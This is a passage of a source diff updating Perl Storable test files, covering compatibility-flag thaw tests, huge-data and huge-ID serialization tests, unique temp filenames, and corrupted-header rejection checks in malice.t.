+ is_deeply($obj, { a => 1, b => 2 }, "object contains correct data");
+
+ my $frozen = Storable::freeze($obj);
+ my ($t1, $t2) = Storable::thaw($frozen);
+
+ {
+ no warnings 'once';
+ local $Storable::flags = Storable::FLAGS_COMPAT();
+ $t2 = Storable::thaw($frozen);
+ }
+
+ is_deeply($t1, $t2, "objects contain matching data");
+ is(ref $t1, 'TEST', "default object is blessed");
+ is(ref $t2, 'TEST', "compat object is blessed into correct class");
+
+ my $t3 = Storable::thaw($frozen, Storable::FLAGS_COMPAT());
+ is_deeply($t2, $t3, "objects contain matching data (explicit test)");
+ is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test)");
+
+ my $t4 = Storable::thaw($frozen, Storable::BLESS_OK());
+ is_deeply($t2, $t3, "objects contain matching data (explicit test for bless)");
+ is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test for bless)");
+
+ {
+ no warnings 'once';
+ local $Storable::flags = Storable::FLAGS_COMPAT();
+ my $t5 = Storable::thaw($frozen, 0);
+ my $t6 = Storable::thaw($frozen, Storable::TIE_OK());
+
+ is_deeply($t1, $t5, "objects contain matching data");
+ is_deeply($t1, $t6, "objects contain matching data for TIE_OK");
+ is(ref $t5, 'HASH', "default object is unblessed");
+ is(ref $t6, 'HASH', "TIE_OK object is unblessed");
+ }
+}
+
+{
+ tie my %hash, 'TIED_HASH';
+ ok(tied %hash, "hash is tied");
+ my $obj = { bow => \%hash };
+
+ my $frozen = Storable::freeze($obj);
+ my $t1 = Storable::thaw($frozen, Storable::FLAGS_COMPAT());
+ my $t2 = eval { Storable::thaw($frozen); };
+
+ ok(!$@, "trying to thaw a tied value succeeds");
+ ok(tied %{$t1->{bow}}, "compat object is tied");
+ is(ref tied %{$t1->{bow}}, 'TIED_HASH', "compat object is tied into correct class");
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/forgive.t b/gnu/usr.bin/perl/dist/Storable/t/forgive.t
index c99421149cb..1833a264246 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/forgive.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/forgive.t
@@ -36,7 +36,7 @@ plan(tests => 8);
my $bad = ['foo', \*GLOB, 'bar'];
my $result;
-eval {$result = store ($bad , 'store')};
+eval {$result = store ($bad , "store$$")};
is($result, undef);
isnt($@, '');
@@ -45,21 +45,21 @@ $Storable::forgive_me=1;
my $devnull = File::Spec->devnull;
open(SAVEERR, ">&STDERR");
-open(STDERR, ">$devnull") or
+open(STDERR, '>', $devnull) or
( print SAVEERR "Unable to redirect STDERR: $!\n" and exit(1) );
-eval {$result = store ($bad , 'store')};
+eval {$result = store ($bad , "store$$")};
open(STDERR, ">&SAVEERR");
isnt($result, undef);
is($@, '');
-my $ret = retrieve('store');
+my $ret = retrieve("store$$");
isnt($ret, undef);
is($ret->[0], 'foo');
is($ret->[2], 'bar');
is(ref $ret->[1], 'SCALAR');
-END { 1 while unlink 'store' }
+END { 1 while unlink "store$$" }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/freeze.t b/gnu/usr.bin/perl/dist/Storable/t/freeze.t
index a02f836c2a2..d254c6f5608 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/freeze.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/freeze.t
@@ -19,6 +19,8 @@ sub BEGIN {
use Storable qw(freeze nfreeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
use Test::More tests => 21;
$a = 'toto';
diff --git a/gnu/usr.bin/perl/dist/Storable/t/huge.t b/gnu/usr.bin/perl/dist/Storable/t/huge.t
new file mode 100644
index 00000000000..d28e238e7a3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/huge.t
@@ -0,0 +1,104 @@
+#!./perl
+
+use strict;
+use warnings;
+
+use Config;
+use Storable qw(dclone);
+use Test::More;
+
+BEGIN {
+ plan skip_all => 'Storable was not built'
+ if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x;
+ plan skip_all => 'Need 64-bit pointers for this test'
+ if $Config{ptrsize} < 8 and $] > 5.013;
+ plan skip_all => 'Need 64-bit int for this test on older versions'
+ if $Config{uvsize} < 8 and $] < 5.013;
+ plan skip_all => 'Need ~4 GiB memory for this test, set PERL_TEST_MEMORY > 4'
+ if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 4;
+}
+
+# Just too big to fit in an I32.
+my $huge = int(2 ** 31);
+# v5.24.1c/v5.25.1c switched to die earlier with "Too many elements",
+# which is much safer.
+my $has_too_many = ($Config{usecperl} and
+ (($] >= 5.024001 and $] < 5.025000)
+ or $] >= 5.025001)) ? 1 : 0;
+
+# These overlarge sizes are enabled only since Storable 3.00 and some
+# cases need cperl support. Perl5 (as of 5.24) has some internal
+# problems with >I32 sizes, which only cperl has fixed.
+# perl5 is not yet 2GB safe, esp. with hashes.
+
+# string len (xpv_cur): STRLEN (ptrsize>=8)
+# array size (xav_max): SSize_t (I32/I64) (ptrsize>=8)
+# hash size (xhv_keys):
+# IV - 5.12 (ivsize>=8)
+# STRLEN 5.14 - 5.24 (size_t: U32/U64)
+# SSize_t 5.22c - 5.24c (I32/I64)
+# U32 5.25c -
+# hash key: I32
+
+my @cases = (
+ ['huge string',
+ sub { my $s = 'x' x $huge; \$s }],
+
+ ['array with huge element',
+ sub { my $s = 'x' x $huge; [$s] }],
+
+ ['hash with huge value',
+ sub { my $s = 'x' x $huge; +{ foo => $s } }],
+
+ # There's no huge key, limited to I32.
+ ) if $Config{ptrsize} > 4;
+
+
+# An array with a huge number of elements requires several gigabytes of
+# virtual memory. On darwin it is evtl killed.
+if ($Config{ptrsize} > 4 and !$has_too_many) {
+ # needs 20-55G virtual memory, 4.6M heap and several minutes on a fast machine
+ if ($ENV{PERL_TEST_MEMORY} >= 55) {
+ push @cases,
+ [ 'huge array',
+ sub { my @x; $x[$huge] = undef; \@x } ];
+ } else {
+ diag "skip huge array, need PERL_TEST_MEMORY >= 8";
+ }
+}
+
+# A hash with a huge number of keys would require tens of gigabytes of
+# memory, which doesn't seem like a good idea even for this test file.
+# Unfortunately even older 32bit perls do allow this.
+if (!$has_too_many) {
+ # needs >90G virtual mem, and is evtl. killed
+ if ($ENV{PERL_TEST_MEMORY} >= 96) {
+ # number of keys >I32. impossible to handle with perl5, but Storable can.
+ push @cases,
+ ['huge hash',
+ sub { my %x = (0 .. $huge); \%x } ];
+ } else {
+ diag "skip huge hash, need PERL_TEST_MEMORY >= 16";
+ }
+}
+
+
+plan tests => 2 * scalar @cases;
+
+for (@cases) {
+ my ($desc, $build) = @$_;
+ diag "building test input: $desc";
+ my ($input, $exn, $clone);
+ diag "these huge subtests need a lot of memory and time!" if $desc eq 'huge array';
+ $input = $build->();
+ diag "running test: $desc";
+ $exn = $@ if !eval { $clone = dclone($input); 1 };
+
+ is($exn, undef, "$desc no exception");
+ is_deeply($input, $clone, "$desc cloned");
+ #ok($clone, "$desc cloned");
+
+ # Ensure the huge objects are freed right now:
+ undef $input;
+ undef $clone;
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/hugeids.t b/gnu/usr.bin/perl/dist/Storable/t/hugeids.t
new file mode 100644
index 00000000000..c0e19ae0bf4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/hugeids.t
@@ -0,0 +1,372 @@
+#!./perl
+
+# We do all of the work in child processes here to ensure that any
+# memory used is released immediately.
+
+# These tests use ridiculous amounts of memory and CPU.
+
+use strict;
+use warnings;
+
+use Config;
+use Storable qw(store_fd retrieve_fd nstore_fd);
+use Test::More;
+use File::Temp qw(tempfile);
+use File::Spec;
+
+BEGIN {
+ plan skip_all => 'Storable was not built'
+ if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x;
+ plan skip_all => 'Need 64-bit pointers for this test'
+ if $Config{ptrsize} < 8 and $] > 5.013;
+ plan skip_all => 'Need 64-bit int for this test on older versions'
+ if $Config{uvsize} < 8 and $] < 5.013;
+ plan skip_all => 'Need ~8 GiB memory for this test, set PERL_TEST_MEMORY >= 8'
+ if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 8;
+ plan skip_all => 'These tests are slow, set PERL_RUN_SLOW_TESTS'
+ unless $ENV{PERL_RUN_SLOW_TESTS};
+ plan skip_all => "Need fork for this test",
+ unless $Config{d_fork};
+}
+
+find_exe("gzip")
+ or plan skip_all => "Need gzip for this test";
+find_exe("gunzip")
+ or plan skip_all => "Need gunzip for this test";
+
+plan tests => 12;
+
+my $skips = $ENV{PERL_STORABLE_SKIP_ID_TEST} || '';
+my $keeps = $ENV{PERL_STORABLE_KEEP_ID_TEST};
+
+freeze_thaw_test
+ (
+ name => "object ids between 2G and 4G",
+ freeze => \&make_2g_data,
+ thaw => \&check_2g_data,
+ id => "2g",
+ memory => 34,
+ );
+
+freeze_thaw_test
+ (
+ name => "object ids over 4G",
+ freeze => \&make_4g_data,
+ thaw => \&check_4g_data,
+ id => "4g",
+ memory => 70,
+ );
+
+freeze_thaw_test
+ (
+ name => "hook object ids over 4G",
+ freeze => \&make_hook_data,
+ thaw => \&check_hook_data,
+ id => "hook4g",
+ memory => 70,
+ );
+
+# not really an id test, but the infrastructure here makes tests
+# easier
+freeze_thaw_test
+ (
+ name => "network store large PV",
+ freeze => \&make_net_large_pv,
+ thaw => \&check_net_large_pv,
+ id => "netlargepv",
+ memory => 8,
+ );
+
+freeze_thaw_test
+ (
+ name => "hook store with 2g data",
+ freeze => \&make_2g_hook_data,
+ thaw => \&check_2g_hook_data,
+ id => "hook2gdata",
+ memory => 4,
+ );
+
+freeze_thaw_test
+ (
+ name => "hook store with 4g data",
+ freeze => \&make_4g_hook_data,
+ thaw => \&check_4g_hook_data,
+ id => "hook4gdata",
+ memory => 8,
+ );
+
+sub freeze_thaw_test {
+ my %opts = @_;
+
+ my $freeze = $opts{freeze}
+ or die "Missing freeze";
+ my $thaw = $opts{thaw}
+ or die "Missing thaw";
+ my $id = $opts{id}
+ or die "Missing id";
+ my $name = $opts{name}
+ or die "Missing name";
+ my $memory = $opts{memory}
+ or die "Missing memory";
+ my $todo_thaw = $opts{todo_thaw} || "";
+
+ SKIP:
+ {
+ # IPC::Run would be handy here
+
+ $ENV{PERL_TEST_MEMORY} >= $memory
+ or skip "Not enough memory to test $name", 2;
+ $skips =~ /\b\Q$id\E\b/
+ and skip "You requested test $name ($id) be skipped", 2;
+ defined $keeps && $keeps !~ /\b\Q$id\E\b/
+ and skip "You didn't request test $name ($id)", 2;
+ my $stored;
+ if (defined(my $pid = open(my $fh, "-|"))) {
+ unless ($pid) {
+ # child
+ open my $cfh, "|-", "gzip"
+ or die "Cannot pipe to gzip: $!";
+ binmode $cfh;
+ $freeze->($cfh);
+ exit;
+ }
+ # parent
+ $stored = do { local $/; <$fh> };
+ close $fh;
+ }
+ else {
+ skip "$name: Cannot fork for freeze", 2;
+ }
+ ok($stored, "$name: we got output data")
+ or skip "$name: skipping thaw test", 1;
+
+ my ($tfh, $tname) = tempfile();
+
+ #my $tname = "$id.store.gz";
+ #open my $tfh, ">", $tname or die;
+ #binmode $tfh;
+
+ print $tfh $stored;
+ close $tfh;
+
+ if (defined(my $pid = open(my $fh, "-|"))) {
+ unless ($pid) {
+ # child
+ open my $bfh, "-|", "gunzip <$tname"
+ or die "Cannot pipe from gunzip: $!";
+ binmode $bfh;
+ $thaw->($bfh);
+ exit;
+ }
+ my $out = do { local $/; <$fh> };
+ chomp $out;
+ local $TODO = $todo_thaw;
+ is($out, "OK", "$name: check result");
+ }
+ else {
+ skip "$name: Cannot fork for thaw", 1;
+ }
+ }
+}
+
+
+sub make_2g_data {
+ my ($fh) = @_;
+ my @x;
+ my $y = 1;
+ my $z = 2;
+ my $g2 = 0x80000000;
+ $x[0] = \$y;
+ $x[$g2] = \$y;
+ $x[$g2+1] = \$z;
+ $x[$g2+2] = \$z;
+ store_fd(\@x, $fh);
+}
+
+sub check_2g_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g2 = 0x80000000;
+ $x->[0] == $x->[$g2]
+ or die "First entry mismatch";
+ $x->[$g2+1] == $x->[$g2+2]
+ or die "2G+ entry mismatch";
+ print "OK";
+}
+
+sub make_4g_data {
+ my ($fh) = @_;
+ my @x;
+ my $y = 1;
+ my $z = 2;
+ my $g4 = 2*0x80000000;
+ $x[0] = \$y;
+ $x[$g4] = \$y;
+ $x[$g4+1] = \$z;
+ $x[$g4+2] = \$z;
+ store_fd(\@x, $fh);
+}
+
+sub check_4g_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g4 = 2*0x80000000;
+ $x->[0] == $x->[$g4]
+ or die "First entry mismatch";
+ $x->[$g4+1] == $x->[$g4+2]
+ or die "4G+ entry mismatch";
+ ${$x->[$g4+1]} == 2
+ or die "Incorrect value in 4G+ entry";
+ print "OK";
+}
+
+sub make_hook_data {
+ my ($fh) = @_;
+ my @x;
+ my $y = HookLargeIds->new(101, { name => "one" });
+ my $z = HookLargeIds->new(201, { name => "two" });
+ my $g4 = 2*0x8000_0000;
+ $x[0] = $y;
+ $x[$g4] = $y;
+ $x[$g4+1] = $z;
+ $x[$g4+2] = $z;
+ store_fd(\@x, $fh);
+}
+
+sub check_hook_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g4 = 2*0x8000_0000;
+ my $y = $x->[$g4+1];
+ $y = $x->[$g4+1];
+ $y->id == 201
+ or die "Incorrect id in 4G+ object";
+ ref($y->data) eq 'HASH'
+ or die "data isn't a ref";
+ $y->data->{name} eq "two"
+ or die "data name not 'one'";
+ print "OK";
+}
+
+sub make_net_large_pv {
+ my ($fh) = @_;
+ my $x = "x"; # avoid constant folding making a 4G scalar
+ my $g4 = 2*0x80000000;
+ my $y = $x x ($g4 + 5);
+ nstore_fd(\$y, $fh);
+}
+
+sub check_net_large_pv {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g4 = 2*0x80000000;
+ ref $x && ref($x) eq "SCALAR"
+ or die "Not a scalar ref ", ref $x;
+
+ length($$x) == $g4+5
+ or die "Incorect length";
+ print "OK";
+}
+
+sub make_2g_hook_data {
+ my ($fh) = @_;
+
+ my $g2 = 0x80000000;
+ my $x = HookLargeData->new($g2);
+ store_fd($x, $fh);
+}
+
+sub check_2g_hook_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g2 = 0x80000000;
+ $x->size == $g2
+ or die "Size incorrect ", $x->size;
+ print "OK";
+}
+
+sub make_4g_hook_data {
+ my ($fh) = @_;
+
+ my $g2 = 0x80000000;
+ my $g4 = 2 * $g2;
+ my $x = HookLargeData->new($g4+1);
+ store_fd($x, $fh);
+}
+
+sub check_4g_hook_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g2 = 0x80000000;
+ my $g4 = 2 * $g2;
+ $x->size == $g4+1
+ or die "Size incorrect ", $x->size;
+ print "OK";
+}
+
+sub find_exe {
+ my ($exe) = @_;
+
+ $exe .= $Config{_exe};
+ my @path = split /\Q$Config{path_sep}/, $ENV{PATH};
+ for my $dir (@path) {
+ my $abs = File::Spec->catfile($dir, $exe);
+ -x $abs
+ and return $abs;
+ }
+}
+
+package HookLargeIds;
+
+sub new {
+ my $class = shift;
+ my ($id, $data) = @_;
+ return bless { id => $id, data => $data }, $class;
+}
+
+sub STORABLE_freeze {
+ #print STDERR "freeze called\n";
+ #Devel::Peek::Dump($_[0]);
+
+ return $_[0]->id, $_[0]->data;
+}
+
+sub STORABLE_thaw {
+ my ($self, $cloning, $ser, $data) = @_;
+
+ #Devel::Peek::Dump(\@_);
+ #print STDERR "thaw called\n";
+ #Devel::Peek::Dump($self);
+ $self->{id} = $ser+0;
+ $self->{data} = $data;
+}
+
+sub id {
+ $_[0]{id};
+}
+
+sub data {
+ $_[0]{data};
+}
+
+package HookLargeData;
+
+sub new {
+ my ($class, $size) = @_;
+
+ return bless { size => $size }, $class;
+}
+
+sub STORABLE_freeze {
+ return "x" x $_[0]{size};
+}
+
+sub STORABLE_thaw {
+ my ($self, $cloning, $ser) = @_;
+
+ $self->{size} = length $ser;
+}
+
+sub size {
+ $_[0]{size};
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/interwork56.t b/gnu/usr.bin/perl/dist/Storable/t/interwork56.t
index fac8af9c5d0..239c8c1828e 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/interwork56.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/interwork56.t
@@ -30,7 +30,7 @@ use Storable qw(freeze thaw);
use strict;
use Test::More tests=>30;
-use vars qw(%tests);
+our (%tests);
{
local $/ = "\n\nend\n";
diff --git a/gnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t b/gnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t
index 818c4397f20..5423719e465 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t
@@ -35,6 +35,8 @@ BEGIN {
use Storable qw(freeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
#$Storable::DEBUGME = 1;
BEGIN {
plan tests => 34;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/leaks.t b/gnu/usr.bin/perl/dist/Storable/t/leaks.t
index 06360d63f38..eb151a153b1 100644
--- a/gnu/usr.bin/perl/dist/Storable/t/leaks.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/leaks.t
@@ -32,3 +32,18 @@ plan 'tests' => 1;
}
}
+{ # [cpan #97316]
+ package TestClass;
+
+ sub new {
+ my $class = shift;
+ return bless({}, $class);
+ }
+ sub STORABLE_freeze {
+ die;
+ }
+
+ package main;
+ my $obj = TestClass->new;
+ eval { freeze($obj); };
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/lock.t b/gnu/usr.bin/perl/dist/Storable/t/lock.t
index af9a9ff49f6..8c1fc576e44 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/lock.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/lock.t
@@ -33,14 +33,14 @@ plan(tests => 5);
# We're just ensuring things work, we're not validating locking.
#
-isnt(lock_store(\@a, 'store'), undef);
+isnt(lock_store(\@a, "store$$"), undef);
my $dumped = &dump(\@a);
isnt($dumped, undef);
-$root = lock_retrieve('store');
+$root = lock_retrieve("store$$");
is(ref $root, 'ARRAY');
is(scalar @a, scalar @$root);
is(&dump($root), $dumped);
-unlink 't/store';
+END { 1 while unlink "store$$" }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/malice.t b/gnu/usr.bin/perl/dist/Storable/t/malice.t
index 867a0d75059..5888863d845 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/malice.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/malice.t
@@ -25,17 +25,15 @@ sub BEGIN {
}
use strict;
-use vars qw($file_magic_str $other_magic $network_magic $byteorder
- $major $minor $minor_write $fancy);
-$byteorder = $Config{byteorder};
+our $byteorder = $Config{byteorder};
-$file_magic_str = 'pst0';
-$other_magic = 7 + length $byteorder;
-$network_magic = 2;
-$major = 2;
-$minor = 10;
-$minor_write = $] >= 5.019 ? 10 : $] > 5.008 ? 9 : $] > 5.005_50 ? 8 : 4;
+our $file_magic_str = 'pst0';
+our $other_magic = 7 + length $byteorder;
+our $network_magic = 2;
+our $major = 2;
+our $minor = 11;
+our $minor_write = $] >= 5.019 ? 11 : $] > 5.008 ? 9 : $] > 5.005_50 ? 8 : 4;
use Test::More;
@@ -45,13 +43,13 @@ use Test::More;
# There are only 2 * 2 tests per byte in the parts of the header not present
# for network order, and 2 tests per byte on the 'pst0' "magic number" only
# present in files, but not in things store()ed to memory
-$fancy = ($] > 5.007 ? 2 : 0);
+our $fancy = ($] > 5.007 ? 2 : 0);
plan tests => 372 + length ($byteorder) * 4 + $fancy * 8;
use Storable qw (store retrieve freeze thaw nstore nfreeze);
require 'testlib.pl';
-use vars '$file';
+our $file;
# The chr 256 is a hack to force the hash to always have the utf8 keys flag
# set on 5.7.3 and later. Otherwise the test fails if run with -Mutf8 because
@@ -208,7 +206,7 @@ sub test_things {
$where = $file_magic + $network_magic;
}
- # Just the header and a tag 255. As 31 is currently the highest tag, this
+ # Just the header and a tag 255. As 33 is currently the highest tag, this
# is "unexpected"
$copy = substr ($contents, 0, $where) . chr 255;
@@ -228,7 +226,7 @@ sub test_things {
# local $Storable::DEBUGME = 1;
# This is the delayed croak
test_corrupt ($copy, $sub,
- "/^Storable binary image v$header->{major}.$minor6 contains data of type 255. This Storable is v$header->{major}.$minor and can only handle data types up to 31/",
+ "/^Storable binary image v$header->{major}.$minor6 contains data of type 255. This Storable is v$header->{major}.$minor and can only handle data types up to 33/",
"bogus tag, minor plus 4");
# And check again that this croak is not delayed:
{
diff --git a/gnu/usr.bin/perl/dist/Storable/t/overload.t b/gnu/usr.bin/perl/dist/Storable/t/overload.t
index bf1441bb67f..64c09e46e23 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/overload.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/overload.t
@@ -18,6 +18,8 @@ sub BEGIN {
use Storable qw(freeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
use Test::More tests => 19;
package OVERLOADED;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/recurse.t b/gnu/usr.bin/perl/dist/Storable/t/recurse.t
index 930a2242ebc..fa8be0b3743 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/recurse.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/recurse.t
@@ -5,11 +5,11 @@
# You may redistribute only under the same terms as Perl 5, as specified
# in the README file that comes with the distribution.
#
+use Config;
sub BEGIN {
unshift @INC, 't';
unshift @INC, 't/compat' if $] < 5.006002;
- require Config; import Config;
if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) {
print "1..0 # Skip: Storable was not built\n";
exit 0;
@@ -17,7 +17,10 @@ sub BEGIN {
}
use Storable qw(freeze thaw dclone);
-use Test::More tests => 33;
+
+$Storable::flags = Storable::FLAGS_COMPAT;
+
+use Test::More tests => 38;
package OBJ_REAL;
@@ -28,23 +31,23 @@ use Storable qw(freeze thaw);
sub make { bless [], shift }
sub STORABLE_freeze {
- my $self = shift;
- my $cloning = shift;
- die "STORABLE_freeze" unless Storable::is_storing;
- return (freeze(\@x), $self);
+ my $self = shift;
+ my $cloning = shift;
+ die "STORABLE_freeze" unless Storable::is_storing;
+ return (freeze(\@x), $self);
}
sub STORABLE_thaw {
- my $self = shift;
- my $cloning = shift;
- my ($x, $obj) = @_;
- die "STORABLE_thaw #1" unless $obj eq $self;
- my $len = length $x;
- my $a = thaw $x;
- die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
- die "STORABLE_thaw #3" unless @$a == 2 && $a->[0] eq 'a' && $a->[1] == 1;
- @$self = @$a;
- die "STORABLE_thaw #4" unless Storable::is_retrieving;
+ my $self = shift;
+ my $cloning = shift;
+ my ($x, $obj) = @_;
+ die "STORABLE_thaw #1" unless $obj eq $self;
+ my $len = length $x;
+ my $a = thaw $x;
+ die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
+ die "STORABLE_thaw #3" unless @$a == 2 && $a->[0] eq 'a' && $a->[1] == 1;
+ @$self = @$a;
+ die "STORABLE_thaw #4" unless Storable::is_retrieving;
}
package OBJ_SYNC;
@@ -54,18 +57,18 @@ package OBJ_SYNC;
sub make { bless {}, shift }
sub STORABLE_freeze {
- my $self = shift;
- my ($cloning) = @_;
- return if $cloning;
- return ("", \@x, $self);
+ my $self = shift;
+ my ($cloning) = @_;
+ return if $cloning;
+ return ("", \@x, $self);
}
sub STORABLE_thaw {
- my $self = shift;
- my ($cloning, $undef, $a, $obj) = @_;
- die "STORABLE_thaw #1" unless $obj eq $self;
- die "STORABLE_thaw #2" unless ref $a eq 'ARRAY' || @$a != 2;
- $self->{ok} = $self;
+ my $self = shift;
+ my ($cloning, $undef, $a, $obj) = @_;
+ die "STORABLE_thaw #1" unless $obj eq $self;
+ die "STORABLE_thaw #2" unless ref $a eq 'ARRAY' || @$a != 2;
+ $self->{ok} = $self;
}
package OBJ_SYNC2;
@@ -73,30 +76,30 @@ package OBJ_SYNC2;
use Storable qw(dclone);
sub make {
- my $self = bless {}, shift;
- my ($ext) = @_;
- $self->{sync} = OBJ_SYNC->make;
- $self->{ext} = $ext;
- return $self;
+ my $self = bless {}, shift;
+ my ($ext) = @_;
+ $self->{sync} = OBJ_SYNC->make;
+ $self->{ext} = $ext;
+ return $self;
}
sub STORABLE_freeze {
- my $self = shift;
- my %copy = %$self;
- my $r = \%copy;
- my $t = dclone($r->{sync});
- return ("", [$t, $self->{ext}], $r, $self, $r->{ext});
+ my $self = shift;
+ my %copy = %$self;
+ my $r = \%copy;
+ my $t = dclone($r->{sync});
+ return ("", [$t, $self->{ext}], $r, $self, $r->{ext});
}
sub STORABLE_thaw {
- my $self = shift;
- my ($cloning, $undef, $a, $r, $obj, $ext) = @_;
- die "STORABLE_thaw #1" unless $obj eq $self;
- die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
- die "STORABLE_thaw #3" unless ref $r eq 'HASH';
- die "STORABLE_thaw #4" unless $a->[1] == $r->{ext};
- $self->{ok} = $self;
- ($self->{sync}, $self->{ext}) = @$a;
+ my $self = shift;
+ my ($cloning, $undef, $a, $r, $obj, $ext) = @_;
+ die "STORABLE_thaw #1" unless $obj eq $self;
+ die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
+ die "STORABLE_thaw #3" unless ref $r eq 'HASH';
+ die "STORABLE_thaw #4" unless $a->[1] == $r->{ext};
+ $self->{ok} = $self;
+ ($self->{sync}, $self->{ext}) = @$a;
}
package OBJ_REAL2;
@@ -110,19 +113,19 @@ $hook_called = 0;
sub make { bless [], shift }
sub STORABLE_freeze {
- my $self = shift;
- $hook_called++;
- return (freeze($self), $self) if ++$recursed < $MAX;
- return ("no", $self);
+ my $self = shift;
+ $hook_called++;
+ return (freeze($self), $self) if ++$recursed < $MAX;
+ return ("no", $self);
}
sub STORABLE_thaw {
- my $self = shift;
- my $cloning = shift;
- my ($x, $obj) = @_;
- die "STORABLE_thaw #1" unless $obj eq $self;
- $self->[0] = thaw($x) if $x ne "no";
- $recursed--;
+ my $self = shift;
+ my $cloning = shift;
+ my ($x, $obj) = @_;
+ die "STORABLE_thaw #1" unless $obj eq $self;
+ $self->[0] = thaw($x) if $x ne "no";
+ $recursed--;
}
package main;
@@ -183,32 +186,32 @@ is(Storable::is_retrieving, '');
package Foo;
sub new {
- my $class = shift;
- my $dat = shift;
- return bless {dat => $dat}, $class;
+ my $class = shift;
+ my $dat = shift;
+ return bless {dat => $dat}, $class;
}
package Bar;
sub new {
- my $class = shift;
- return bless {
- a => 'dummy',
- b => [
- Foo->new(1),
- Foo->new(2), # Second instance of a Foo
- ]
- }, $class;
+ my $class = shift;
+ return bless {
+ a => 'dummy',
+ b => [
+ Foo->new(1),
+ Foo->new(2), # Second instance of a Foo
+ ]
+ }, $class;
}
sub STORABLE_freeze {
- my($self,$clonning) = @_;
- return "$self->{a}", $self->{b};
+ my($self,$clonning) = @_;
+ return "$self->{a}", $self->{b};
}
sub STORABLE_thaw {
- my($self,$clonning,$dummy,$o) = @_;
- $self->{a} = $dummy;
- $self->{b} = $o;
+ my($self,$clonning,$dummy,$o) = @_;
+ $self->{a} = $dummy;
+ $self->{b} = $o;
}
package main;
@@ -230,83 +233,136 @@ is(ref($bar2->{b}[1]), 'Foo');
package CLASS_1;
sub make {
- my $self = bless {}, shift;
- return $self;
+ my $self = bless {}, shift;
+ return $self;
}
package CLASS_2;
sub make {
- my $self = bless {}, shift;
- my ($o) = @_;
- $self->{c1} = CLASS_1->make();
- $self->{o} = $o;
- $self->{c3} = bless CLASS_1->make(), "CLASS_3";
- $o->set_c2($self);
- return $self;
+ my $self = bless {}, shift;
+ my ($o) = @_;
+ $self->{c1} = CLASS_1->make();
+ $self->{o} = $o;
+ $self->{c3} = bless CLASS_1->make(), "CLASS_3";
+ $o->set_c2($self);
+ return $self;
}
sub STORABLE_freeze {
- my($self, $clonning) = @_;
- return "", $self->{c1}, $self->{c3}, $self->{o};
+ my($self, $clonning) = @_;
+ return "", $self->{c1}, $self->{c3}, $self->{o};
}
sub STORABLE_thaw {
- my($self, $clonning, $frozen, $c1, $c3, $o) = @_;
- main::is(ref $self, "CLASS_2");
- main::is(ref $c1, "CLASS_1");
- main::is(ref $c3, "CLASS_3");
- main::is(ref $o, "CLASS_OTHER");
- $self->{c1} = $c1;
- $self->{c3} = $c3;
+ my($self, $clonning, $frozen, $c1, $c3, $o) = @_;
+ main::is(ref $self, "CLASS_2");
+ main::is(ref $c1, "CLASS_1");
+ main::is(ref $c3, "CLASS_3");
+ main::is(ref $o, "CLASS_OTHER");
+ $self->{c1} = $c1;
+ $self->{c3} = $c3;
}
package CLASS_OTHER;
sub make {
- my $self = bless {}, shift;
- return $self;
+ my $self = bless {}, shift;
+ return $self;
}
sub set_c2 { $_[0]->{c2} = $_[1] }
#
# Is the reference count of the extra references returned from a
-# STORABLE_freeze hook correct? [ID 20020601.005]
+# STORABLE_freeze hook correct? [ID 20020601.005 (#9436)]
#
package Foo2;
sub new {
- my $self = bless {}, $_[0];
- $self->{freezed} = "$self";
- return $self;
+ my $self = bless {}, $_[0];
+ $self->{freezed} = "$self";
+ return $self;
}
sub DESTROY {
- my $self = shift;
- $::refcount_ok = 1 unless "$self" eq $self->{freezed};
+ my $self = shift;
+ $::refcount_ok = 1 unless "$self" eq $self->{freezed};
}
package Foo3;
sub new {
- bless {}, $_[0];
